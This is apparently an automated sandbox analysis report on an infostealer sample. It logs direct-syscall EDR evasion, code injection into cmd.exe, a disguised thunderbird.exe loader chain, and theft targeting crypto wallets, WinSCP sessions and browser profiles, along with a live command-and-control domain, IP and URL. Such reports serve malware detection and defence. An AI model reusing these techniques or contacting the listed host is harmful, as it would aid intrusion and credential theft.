Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005BE3D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_005BE3D8
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005BE88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_005BE88A
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005BE9DC SetUnhandledExceptionFilter, 0_2_005BE9DC
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C3C76 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_005C3C76
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0053E3D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 2_2_0053E3D8
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0053E88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_0053E88A
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0053E9DC SetUnhandledExceptionFilter, 2_2_0053E9DC
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00543C76 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_00543C76
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_100671C9 __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_100671C9
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1006386B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 2_2_1006386B
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10064BBF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 2_2_10064BBF

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateFile: Direct from: 0x7FF6CCA55415 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCB86DD8 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationThread: Direct from: 0x7FF6A87ADC7C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x14011D93E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQuerySystemInformation: Direct from: 0x7FF6CCA476C3 Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe NtSetInformationThread: Direct from: 0x60379479 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateFile: Direct from: 0x7FF6A8755415 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationToken: Direct from: 0x7FF6CCAADC7C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationProcess: Direct from: 0x7FF6A87476C3 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Indirect: 0x14012000F
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6A875C76E
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationProcess: Direct from: 0x7FF6A875BF72 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCBF3D9E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x7FF6CCA7C365 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateFile: Direct from: 0x7FF6A88E931E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6CCA5C76E
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CCAB5E4F Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationProcess: Direct from: 0x7FF6CCA5BF72 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CCB8AFF7 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x7FF6CCA7C754 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6A88EA95C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6A86998FA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCBF2440 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x14011D808 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CCBEA95C Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe NtProtectVirtualMemory: Direct from: 0x77377B2E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateFile: Direct from: 0x7FF6CCBE931E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateThreadEx: Direct from: 0x7FF6CC9959F0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationProcess: Direct from: 0x7FF6CCA5BD87 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x7FF6A877C754 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQuerySystemInformation: Direct from: 0x7FF6CCAB1A29 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6CCBEBBD1
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtOpenKeyEx: Direct from: 0x7FF6CCA7B377 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCAB5D54 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6CCBEBBC3
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationProcess: Direct from: 0x7FF6CCA5D041 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCAF1235 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x7FF6A877C365 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateThreadEx: Direct from: 0x7FF6A86959F0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCA3C626 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQuerySystemInformation: Direct from: 0x7FF6CCB82D0F Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationProcess: Direct from: 0x7FF6CCA4C661 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCAE9B86 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x7FF6CCA7C853 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CCA5563F Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateFile: Direct from: 0x7FF6CCBE6553 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtReadVirtualMemory: Direct from: 0x7FF6CCBE61EF Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCA5A04A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCA47BBB Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe NtQuerySystemInformation: Direct from: 0x76230BD0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationProcess: Direct from: 0x7FF6A87E2B0B Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationToken: Direct from: 0x7FF6CCA78460 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtReadFile: Direct from: 0x7FF6A875569C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQuerySystemInformation: Direct from: 0x7FF6CCBED365 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtReadFile: Direct from: 0x7FF6CCA5569C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x7FF6A877C853 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationProcess: Direct from: 0x7FF6A88ED365 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x14011D864
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6A8695592 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CCA4C242 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtMapViewOfSection: Direct from: 0x7FF6A88EA52E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CC9998FA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6A88EBBAF
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6CCBEBBAF
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CCAB069F Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationToken: Direct from: 0x7FF6CCAED98F Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FFDB4404B5E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCBEA52E Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQuerySystemInformation: Direct from: 0x7FF6CCB84F15 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtRequestWaitReplyPort: Direct from: 0x7FF6CCAE9D6B Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtOpenKeyEx: Direct from: 0x7FF6A877B377 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x7FF6CCA7BDFA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtProtectVirtualMemory: Direct from: 0x7FF6CCBF3E76 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtDeviceIoControlFile: Direct from: 0x7FF6A87B4392 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtDeviceIoControlFile: Direct from: 0x7FF6CCAB4392 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6A874C242 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CCB846A3 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6A87B1C63
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6A88EBBD1
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationThread: Direct from: 0x7FF6A87B1A29 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtReadFile: Direct from: 0x14011D832 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryValueKey: Direct from: 0x7FF6A877BDFA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateFile: Direct from: 0x7FF6A88E6553 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationThread: Direct from: 0x7FFDB43E26A1 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationProcess: Direct from: 0x7FF6A875D041 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQuerySystemInformation: Direct from: 0x7FF6CCB8790D Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationProcess: Direct from: 0x7FF6A873C626 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtCreateFile: Direct from: 0x14011D7A4 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtClose: Direct from: 0x7FF6A88EBBC3
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtReadVirtualMemory: Direct from: 0x7FF6A88E61EF Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtEnumerateValueKey: Direct from: 0x7FF6CCB2CE60 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationProcess: Direct from: 0x7FF6A8747BBB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CC995592 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationProcess: Direct from: 0x7FF6A8778460 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtSetInformationProcess: Direct from: 0x7FF6A875BD87 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQuerySystemInformation: Direct from: 0x7FF6CCAE2B0B Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQuerySystemInformation: Direct from: 0x7FF6CCAE9FDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtQueryInformationProcess: Direct from: 0x7FF6A874C661 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6A875563F Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x140120A3C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe NtAllocateVirtualMemory: Direct from: 0x7FF6CCB84070 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Qjsync.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Qjsync.exe protection: read write Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\cmd.exe Memory written: C:\Users\user\AppData\Local\Temp\Qjsync.exe base: 14011BC08 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Memory written: C:\Users\user\AppData\Local\Temp\Qjsync.exe base: 312010 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Memory written: C:\Users\user\AppData\Local\Temp\Qjsync.exe base: 14011BC08 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Memory written: C:\Users\user\AppData\Local\Temp\Qjsync.exe base: 321010 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\UolJwovI8c.exe Process created: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe "C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe" -burn.clean.room="C:\Users\user\Desktop\UolJwovI8c.exe" -burn.filehandle.attached=684 -burn.filehandle.self=512 Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Qjsync.exe C:\Users\user\AppData\Local\Temp\Qjsync.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Qjsync.exe C:\Users\user\AppData\Local\Temp\Qjsync.exe Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005D1719 InitializeSecurityDescriptor,GetLastError,CreateWellKnownSid,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,SetEntriesInAclA,SetSecurityDescriptorOwner,GetLastError,SetSecurityDescriptorGroup,GetLastError,SetSecurityDescriptorDacl,GetLastError,CoInitializeSecurity,LocalFree, 0_2_005D1719
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005D3A5F AllocateAndInitializeSid,CheckTokenMembership, 0_2_005D3A5F
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: Shell_TrayWnd
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: Progman
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: )[%d] Shell_TrayWndTrayNotifyWnd
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: XUL_APP_FILE@mozilla.org/xre/app-info;1nsXULAppInfo1.8.1.19WINNTx86-msvchelper.exeuninstallXCurProcD@mozilla.org/file/directory_service;1/fixregargv0ignoredbywinlaunchchild/uninstalllog=%s/postupdateToolkit Profile Service@mozilla.org/toolkit/profile-service;1@mozilla.org/event-queue-service;1@mozilla.org/embedcomp/window-watcher;1@mozilla.org/toolkit/app-startup;1@mozilla.org/chrome/chrome-registry;1Native App Support@mozilla.org/toolkit/native-app-support;1ProgmanDuplicateTokenExCreateProcessWithTokenWadvapi32.dllshell32.dllIsUserAnAdminXRE_PROFILE_LOCAL_PATHXRE_PROFILE_PATHNO_EM_RESTART=0NO_EM_RESTART=1@mozilla.org/appshell/window-mediator;1final-ui-startup@mozilla.org/observer-service;1XRE_BINARY_PATH=XUL_APP_FILE=NO_EM_RESTART=XRE_IMPORT_PROFILES=XRE_START_OFFLINE=XRE_PROFILE_LOCAL_PATH=XRE_PROFILE_PATH=NO_EM_RESTARTError: argument -install-global-theme is invalid when argument -osint is specified
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp Binary or memory string: SHAppBarMessageShell_TrayWndDragFullWindowsMenuShowDelayControl Panel\DesktopclipboardcacheAOLMAIL@mozilla.org/layout/plaintextsink;1</HTML><HTML>@v
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005BEC07 cpuid 0_2_005BEC07
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: GetKeyboardLayout,GetLocaleInfoA, 2_2_10023F71
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: GetLocaleInfoA, 2_2_100708F5
Queries the installation date of Windows
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005A4EDF ConvertStringSecurityDescriptorToSecurityDescriptorW,GetLastError,CreateNamedPipeW,GetLastError,CreateNamedPipeW,GetLastError,CloseHandle,LocalFree, 0_2_005A4EDF
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_00596037 GetSystemTime,GetDateFormatW,GetLastError,GetLastError,GetDateFormatW,GetLastError, 0_2_00596037
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005961DF GetUserNameW,GetLastError, 0_2_005961DF
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005D887B GetTimeZoneInformation,SystemTimeToTzSpecificLocalTime, 0_2_005D887B
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_00595195 GetModuleHandleW,CoInitializeEx,GetVersionExW,GetLastError,CoUninitialize, 0_2_00595195
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2 Override Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default Jump to behavior
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Directory queried: C:\Users\user\Documents Jump to behavior
windows-stand
Behavior
Click here to start
Slideshow Behavior Animation
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1566414 Sample: UolJwovI8c.exe Startdate: 02/12/2024 Architecture: WINDOWS Score: 100 74 amenstilo.website 2->74 78 Suricata IDS alerts for network traffic 2->78 80 Malicious sample detected (through community Yara rule) 2->80 82 Yara detected UAC Bypass using CMSTP 2->82 84 2 other signatures 2->84 11 UolJwovI8c.exe 3 2->11         started        14 thunderbird.exe 1 2->14         started        17 thunderbird.exe 1 2->17         started        signatures3 process4 file5 64 C:\Windows\Temp\...\UolJwovI8c.exe, PE32 11->64 dropped 19 UolJwovI8c.exe 22 11->19         started        116 Maps a DLL or memory area into another process 14->116 118 Found direct / indirect Syscall (likely to bypass EDR) 14->118 23 cmd.exe 2 14->23         started        25 cmd.exe 1 17->25         started        signatures6 process7 file8 50 C:\Windows\Temp\...\xpcom_core.dll, PE32 19->50 dropped 52 C:\Windows\Temp\...\xpcom_compat.dll, PE32 19->52 dropped 54 C:\Windows\Temp\...\thunderbird.exe, PE32 19->54 dropped 58 11 other malicious files 19->58 dropped 86 Drops executable to a common third party application directory 19->86 27 thunderbird.exe 16 19->27         started        56 C:\Users\user\AppData\Local\Temp\ekxwihvmv, PE32+ 23->56 dropped 88 Writes to foreign memory regions 23->88 90 Maps a DLL or memory area into another process 23->90 31 Qjsync.exe 23->31         started        33 conhost.exe 23->33         started        35 conhost.exe 25->35         started        signatures9 process10 file11 66 C:\Users\user\AppData\...\xpcom_core.dll, PE32 27->66 dropped 68 C:\Users\user\AppData\...\xpcom_compat.dll, PE32 27->68 dropped 70 C:\Users\user\AppData\...\thunderbird.exe, PE32 27->70 dropped 72 10 other malicious files 27->72 dropped 104 Switches to a custom stack to bypass stack traces 27->104 106 Found direct / indirect Syscall (likely to bypass EDR) 27->106 37 thunderbird.exe 1 27->37         started        signatures12 process13 signatures14 92 Maps a DLL or memory area into another process 37->92 94 Switches to a custom stack to bypass stack traces 37->94 40 cmd.exe 5 37->40         started        process15 file16 60 C:\Users\user\AppData\Local\...\idrccptxisabu, PE32+ 40->60 dropped 62 C:\Users\user\AppData\Local\Temp\Qjsync.exe, PE32+ 40->62 dropped 96 Writes to foreign memory regions 40->96 98 Found hidden mapped module (file has been removed from disk) 40->98 100 Maps a DLL or memory area into another process 40->100 102 Switches to a custom stack to bypass stack traces 40->102 44 Qjsync.exe 40->44         started        48 conhost.exe 40->48         started        signatures17 process18 dnsIp19 76 amenstilo.website 104.21.74.149, 443, 49835, 49841 CLOUDFLARENETUS United States 44->76 108 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 44->108 110 Tries to harvest and steal browser information (history, passwords, etc) 44->110 112 Tries to harvest and steal Bitcoin Wallet information 44->112 114 Found direct / indirect Syscall (likely to bypass EDR) 44->114 signatures20
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.74.149
 amenstilo.website United States
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.214.172 true
amenstilo.website 104.21.74.149 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://amenstilo.website/courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2FsjqNL9WLjcuO1JIs5YlYwsq2r0v2XtuOfeIISqlAWv5gAlx740W1uYA%2FAE%2FbB%2BPI3Lm%2FUw%3D%3D true
  • Avira URL Cloud: safe
 unknown